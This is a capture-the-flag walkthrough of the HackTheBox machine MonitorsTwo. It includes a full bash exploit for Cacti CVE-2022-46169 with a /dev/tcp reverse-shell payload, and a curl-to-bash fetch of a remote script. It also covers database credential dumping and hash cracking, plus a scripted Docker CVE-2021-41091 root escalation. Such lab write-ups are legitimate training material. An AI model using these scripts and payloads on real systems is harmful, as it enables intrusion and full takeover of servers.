MonitorsTwo from HackTheBox

MonitorsTwo from HackTheBox

Box overview

MonitorsTwo is an easy box created by kavigihan combining the exploitation of Cacti (CVE-2022-46169) as entry point then privilege escalation by exploiting the CVE-2021-41091.

Initial foothold

Add the IP to the hosts file

Firstly, I will update the hosts file entry with the box hostname and its IP. As it's a hackthebox machine, normally they use the boxname.htb as hostname.

This can be done as such:

echo "10.10.11.211	monitorstwo.htb" | sudo tee -a /etc/hosts

Nmap scan

Checking open ports is the first step to be executed. This can be done with nmap:

nmap -sV -sC -v monitorstwo.htb

The options:

  • -sV : Probe open ports ant try to determine service/version info.
  • -sC : Use default scripts.
  • -v : Verbose output.

and got the following results:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: 4F12CCCD3C42A4A478F067337FE92794
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Login to Cacti
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We can see both SSH and HTTP ports are open.

Searching for Cacti exploit

By checking http://monitorstwo.htb/index.php we can see the underlaying Cacti CMS version being used, that is Version 1.2.22.

For me, I would use a simple curl command to fetch basic data like:

curl -sSL http://monitorstwo.htb | grep -Ei '(version|powered)' | sed 's/<\/*[^>]*>//g' | sed -e 's/^\s*//'

this will return:

Version 1.2.22 | (c) 2004-2023 - The Cacti Group
var cactiVersion='1.2.22';

Doing a quick search, this version seems to be vulnerable to CVE-2022-46169 which is an RCE (Remote Code Execution).

Get the first shell

CVE-2022-46169 is a bug in the remote_client_authorized function. The vulnerability exists due to insufficient authorization within the Remote Agent when handling HTTP requests with a custom Forwarded-For HTTP header. A remote non-authenticated attacker can exploit this by sending a specially crafted HTTP request to the affected instance. As a result, the attacker can execute arbitrary operating system (OS) commands on the server, potentially gaining unauthorized access and control over the system.

After having a look at the vulnerability, I've created a bash script to exploit it:

#!/bin/bash

#0xyassine
#CVE-2022-46169

function usage()
{
        echo "Usage: $0 -u https://target-url.com -l LHOST -p LPORT"
        echo "Options:"
        echo "  -u      The URL target"
        echo "  -l      Your listening IP for the reverse shell"
        echo "  -p      The listening port for the reverse shell"
        exit 1
}

while getopts ":u:l:p:" o; do
	case "${o}" in
		u)
			TARGET_URL=${OPTARG}
			;;
		l)
			LHOST=${OPTARG}
			;;
		p)
			LPORT=${OPTARG}
			;;
		*)
			usage
			;;
		esac
done
shift $((OPTIND-1))
if [ -z "${TARGET_URL}" ] || [ -z "${LHOST}" ] || [ -z "${LPORT}" ]; then
   	usage
fi

function is_vulnerable()
{
	HEADERS="X-Forwarded-For: 127.0.0.1"
	USER_AGENTS=('Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36' 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0')
	RESPONSE=$(curl -X GET -H "$HEADERS" -s -w "%{http_code}" "$TARGET_URL/remote_agent.php" |sed 's/<\/*[^>]*>//g')
	STATUS_CODE="${RESPONSE: -3}"
	RESPONSE_BODY="${RESPONSE::-3}"
	if [[ $STATUS_CODE == 200 && $RESPONSE_CODE != *"FATAL: You are not authorized to use this service"* ]]; then
		echo "[+] $TARGET_URL IS VULNERABLE"
	else
		echo "[-] $TARGET_URL IS NOT VULNERABLE"
		exit 2
	fi
}

function bruteforce()
{
	LIST_SIZE=${#USER_AGENTS[@]}
	for I in {1..100};do
		for J in {1..100};do
			INDEX=$(($RANDOM % $LIST_SIZE))
			RAND_USER_AGENT=${USER_AGENTS[$INDEX]}
			PAYLOAD="bash -c 'exec bash -i &>/dev/tcp/$LHOST/$LPORT <&1'"
			PAYLOAD=$(printf %s "$PAYLOAD"|jq -sRr @uri)
			FULL_REQUEST="$TARGET_URL/remote_agent.php?action=polldata&local_data_ids[]=$J&host_id=$I&poller_id=$I;$PAYLOAD"
			echo "[+] $FULL_REQUEST"
			curl --connect-timeout 5 "$FULL_REQUEST" -H "$HEADERS" -A "$RAND_USER_AGENT" -o /dev/null -s
		done
	done
}

is_vulnerable
bruteforce

Save as CVE-2022-46169.sh and chmod +x CVE-2022-46169.sh.

To use the script, you will have to provide the URL i.e. http://monitorstwo.htb, the reverse shell IP used to receive the connection and the reverse shell port number.

Open a new terminal and listen to any non-used port you want to be used to receive the shell. I like to use 5555 as port number:

nc -vlp 5555

the options are:

  • -v : for verbose output.
  • -l : listening mode.
  • -p : the port number.

And we can get the VPN IP using the ifconfig command.

Final, execute the script:

./CVE-2022-46169.sh -u http://monitorstwo.htb -l MY_VPN_IP -p 5555

A remote shell has been received:

→ nc -vlp 5555
listening on [any] 5555 ...
connect to [YOUR_VPN_IP] from monitorstwo.htb [10.10.11.211] 43962
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@50bca5e748b0:/var/www/html$

Getting user shell

Finding the access credentials

After doing some basic enumerations, i was able to find the script file entrypoint.sh:

www-data@50bca5e748b0:/var/www/html$ cat /entrypoint.sh
cat /entrypoint.sh
#!/bin/bash
set -ex

wait-for-it db:3306 -t 300 -- echo "database is connected"
if [[ ! $(mysql --host=db --user=root --password=root cacti -e "show tables") =~ "automation_devices" ]]; then
    mysql --host=db --user=root --password=root cacti < /var/www/html/cacti.sql
    mysql --host=db --user=root --password=root cacti -e "UPDATE user_auth SET must_change_password='' WHERE username = 'admin'"
    mysql --host=db --user=root --password=root cacti -e "SET GLOBAL time_zone = 'UTC'"
fi

chown www-data:www-data -R /var/www/html
# first arg is `-f` or `--some-option`
if [ "${1#-}" != "$1" ]; then
	set -- apache2-foreground "$@"
fi

exec "$@"

We can see credentials to access the mysql database. The first thing to do in this case it to try to list the tables and check if we have users credentials.

We can list the tables with the following command:

mysql --host=db --user=root --password=root cacti -e "show tables"

Part of the returned entries:

user_auth
user_auth_cache
user_auth_group
user_auth_group_members
user_auth_group_perms
user_auth_group_realm
user_auth_perms
user_auth_realm
user_domains

Now listing the content of the user_auth table:

mysql --host=db --user=root --password=root cacti -e "select * from user_auth"

Finally we found the credentials but they are bcrypt encrypted:

id	username	password	realm	full_name	email_address	must_change_password	password_change	show_tree	show_list	show_preview	graph_settings	login_opts	policy_graphs	policy_trees	policy_hosts	policy_graph_templates	enabled	lastchange	lastlogin	password_history	locked	failed_attempts	lastfail	reset_perms
1	admin	$2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC	0	Jamie Thompson	[email protected]		on	on	on	on	on	2	1	1	1	1	on	-1	-1	-1		0	0	663348655
3	guest	43e9a4ab75570f5b	0	Guest Account		on	on	on	on	on	31	1	1	1	1		-1	-1	-1		0	0	0
4	marcus	$2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C	0	Marcus Brune	[email protected]			on	on	on	on	1	1	1	1	1	on	-1	-1		on	0	0	2135691668

so we have:

admin: $2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC

marcus: $2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C

Cracking the creds

We can use hashcat to crack them.

Note: I've tried to crack the admin credential without any luck

Create a file called passwords and add marcus password to it:

→ cat passwords 
$2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C

Execute hashcat with rockyou.txt word list:

hashcat passwords -m 3200 /usr/share/wordlists/rockyou.txt -w 3
  • -m: used for the hash type, 3200 is the one for bcrypt.
  • -w: workload profile set to 3 which is the high Performance profile.

After some time, the password will be cracked and it's funkymonkey

Get user shell

Now as we have ssh port open, we can try the creds marcus:funkymonkey

→ ssh [email protected] 
[email protected]'s password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-147-generic x86_64)

And we are in. We can get the user flag:

marcus@monitorstwo:~$ cat user.txt 
17a1dadab83200f64243b7a47bd15ff7

Get root in docker

Started enumeration using the linpeas.sh script. As DNS resolving is disabled on the box, I downloaded the script and hosted it using a php server using:

php -S MY_VPN_IP:4444 

then on the box executed:

curl -s "http://MY_VPN_IP:4444/linpeas.sh" | bash

Unfortunately nothing really important popped up, however by checking the /var/mail/marcus, I was able to find an interesting mail:

From: [email protected]
To: [email protected]
Subject: Security Bulletin - Three Vulnerabilities to be Aware Of

Dear all,

We would like to bring to your attention three vulnerabilities that have been recently discovered and should be addressed as soon as possible.

CVE-2021-33033: This vulnerability affects the Linux kernel before 5.11.14 and is related to the CIPSO and CALIPSO refcounting for the DOI definitions. Attackers can exploit this use-after-free issue to write arbitrary values. Please update your kernel to version 5.11.14 or later to address this vulnerability.

CVE-2020-25706: This cross-site scripting (XSS) vulnerability affects Cacti 1.2.13 and occurs due to improper escaping of error messages during template import previews in the xml_path field. This could allow an attacker to inject malicious code into the webpage, potentially resulting in the theft of sensitive data or session hijacking. Please upgrade to Cacti version 1.2.14 or later to address this vulnerability.

CVE-2021-41091: This vulnerability affects Moby, an open-source project created by Docker for software containerization. Attackers could exploit this vulnerability by traversing directory contents and executing programs on the data directory with insufficiently restricted permissions. The bug has been fixed in Moby (Docker Engine) version 20.10.9, and users should update to this version as soon as possible. Please note that running containers should be stopped and restarted for the permissions to be fixed.

We encourage you to take the necessary steps to address these vulnerabilities promptly to avoid any potential security breaches. If you have any questions or concerns, please do not hesitate to contact our IT department.

Best regards,

Administrator
CISO
Monitor Two
Security Team

We see three mentioned CVE's :

  • CVE-2021-33033: it's related to the kernel and do not seems to be very interesting as it's just to write arbitrary values.
  • CVE-2020-25706: not relevant as this version of cacti is not used on the server.
  • CVE-2021-41091: looks interesting as it allow us to execute programs on the data directory with insufficiently restricted permissions but it affect Moby on docker.

I quickly checked if Moby is running using:

ps -ef | grep -i moby | grep -v grep

and returned:

root        1231       1  0 06:25 ?        00:00:02 /usr/bin/containerd-shim-runc-v2 -namespace moby -id e2378324fced58e8166b82ec842ae45961417b4195aade5113fdc9c6397edc69 -address /run/containerd/containerd.sock
root        1346       1  0 06:25 ?        00:00:04 /usr/bin/containerd-shim-runc-v2 -namespace moby -id 50bca5e748b0e547d000ecb8a4f889ee644a92f743e129e52f7a37af6c62e51e -address /run/containerd/containerd.sock

We have moby running in docker container and we can see the mount points using the findmnt command:

├─/var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged
│                                     overlay     overlay     rw,relatime,lowerdir=/var/lib/docker/overlay2/l/756FTPFO4AE7HBWVGI5TXU76FU:/var/lib/docker/overlay2/l/XKE4ZK5GJUTHXKVYS4MQMJ3NO
├─/var/lib/docker/containers/e2378324fced58e8166b82ec842ae45961417b4195aade5113fdc9c6397edc69/mounts/shm
│                                     shm         tmpfs       rw,nosuid,nodev,noexec,relatime,size=65536k
├─/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
│                                     overlay     overlay     rw,relatime,lowerdir=/var/lib/docker/overlay2/l/4Z77R4WYM6X4BLW7GXAJOAA4SJ:/var/lib/docker/overlay2/l/Z4RNRWTZKMXNQJVSRJE4P2JYH
└─/var/lib/docker/containers/50bca5e748b0e547d000ecb8a4f889ee644a92f743e129e52f7a37af6c62e51e/mounts/shm
                                      shm         tmpfs       rw,nosuid,nodev,noexec,relatime,size=65536k

CVE-2021-41091 explanation

CVE-2021-41091 is a vulnerability within Moby (Docker Engine), which enables unprivileged Linux users to navigate and run programs in the data directory (typically found at /var/lib/docker) due to inadequately restricted permissions. This security flaw arises when containers hold executable programs with extended permissions like setuid. An unprivileged Linux users can identify and execute these programs. They can also manipulate files if the user's UID on the host corresponds to the file's owner or group within the container.

The overlay filesystem plays a pivotal role in exploiting this vulnerability. Docker employs the overlay filesystem to layer the container's file system over the host's file system. This configuration grants the host system the ability to interact with and modify the files contained within the container.

This can give us an idea about the privilege escalation. By assigning the setuid bit to the bash binary within the Docker environment, we can execute bash with elevated privileges from the host system. This action provides us with root access.

Escalate privilege inside the docker

Going back to the first shell that we got as www-data user which is the docker container, I've first searched for the setuid binaries using:

find / -perm /u=s -exec ls -lht {} ; 2>/dev/null

this returned few binaries and the very interesting one is:

-rwsr-xr-x 1 root root 31K Oct 14  2020 /sbin/capsh

I searched GTFOBins for this and found an exploit:

/sbin/capsh --gid=0 --uid=0 --

and we are root:

/sbin/capsh --gid=0 --uid=0 --
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)

Now we can assign the setuid bit to the /bin/bash with:

chmod +s /bin/bash

setuid bit makes an executable run with the privileges of the owner of the file which is root.

Going back to the marcus user and searching for the binary in the two overlay2 disks, I found it in one of them:

marcus@monitorstwo:~$ ls -lht /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/bin/bash
-rwsr-sr-x 1 root root 1.2M Mar 27  2022 /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/bin/bash

executing this path with the -p (privileged) option can give us root:

marcus@monitorstwo:~$ /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/bin/bash -p
bash-5.1# id
uid=1000(marcus) gid=1000(marcus) euid=0(root) egid=0(root) groups=0(root),1000(marcus)
bash-5.1# 

The setuid bit would allow us to temporarily assume the effective UID of the file's owner ( the root ) while the bash -p command is running. This means you would effectively gain root privileges.

I have created a script to automate rooting the box , given that we already added the setuid bit.

#!/bin/bash

#0xyassine
#CVE-2021-41091

#CHECK IF DOCKER IS INSTALLED
if ! which docker &> /dev/null;then echo "[-] DOCKER NOT INSTALLED";exit;fi

if docker --version | grep -qw "20.10.5";then
        echo "[+] VULNERABLE TO CVE-2021-41091"
        #CHECKING IF MOBY IS RUNNING
        if ps aux |grep -iE moby |grep -v 'grep' &> /dev/null;then
                echo "[+] MOBY RUNNING"
        else
                echo "[-] MOBY NOT RUNNING, MAY NOT BE VULNURABLE BUT TRYING ANYWAY"
        fi
        echo "[+] CHECKING OVERLAY2 MOUNTPOINTS"
        OVERLAY2_MOUNTPOINTS=$(df -h | awk '{print $6}' 2>/dev/null |grep overlay2)
        if [[ -n "$OVERLAY2_MOUNTPOINTS" ]];then
                for POINT in $OVERLAY2_MOUNTPOINTS; do
                        EXECUTABLE=$(find $POINT/bin/ -type f -name bash -perm /u=s 2>/dev/null)
                        if [[ -n $EXECUTABLE ]]; then
				echo "[+] SETUID BINARY FOUND IN [ $POINT ]"
				echo "[+] GETTING SHELL"
				$EXECUTABLE -p
                	else
				echo "[-] NO SETUID BINARY FOUND IN [ $POINT ]"
			fi
		done
        else
                echo "[-] NO OVERLAY2 MOUNTPOINTS FOUND"
                exit
        fi
else
        echo "[-] DOCKER VERSION NOT VULNERABLE TO CVE-2021-41091"
fi

Running the script:

marcus@monitorstwo:~$ nano CVE-2021-41091.sh
marcus@monitorstwo:~$ chmod +x CVE-2021-41091.sh 
marcus@monitorstwo:~$ ./CVE-2021-41091.sh
[+] VULNERABLE TO CVE-2021-41091
[+] MOBY RUNNING
[+] CHECKING OVERLAY2 MOUNTPOINTS
[-] NO SETUID BINARY FOUND IN [ /var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged ]
[+] SETUID BINARY FOUND IN [ /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged ]
[+] GETTING SHELL
bash-5.1# id
uid=1000(marcus) gid=1000(marcus) euid=0(root) groups=1000(marcus)
bash-5.1# cat /root/root.txt
e121cad28396fd51b4296934233c80b2
bash-5.1# 

That's all for this box! If you have any question, feel free to letting me know in the comments section.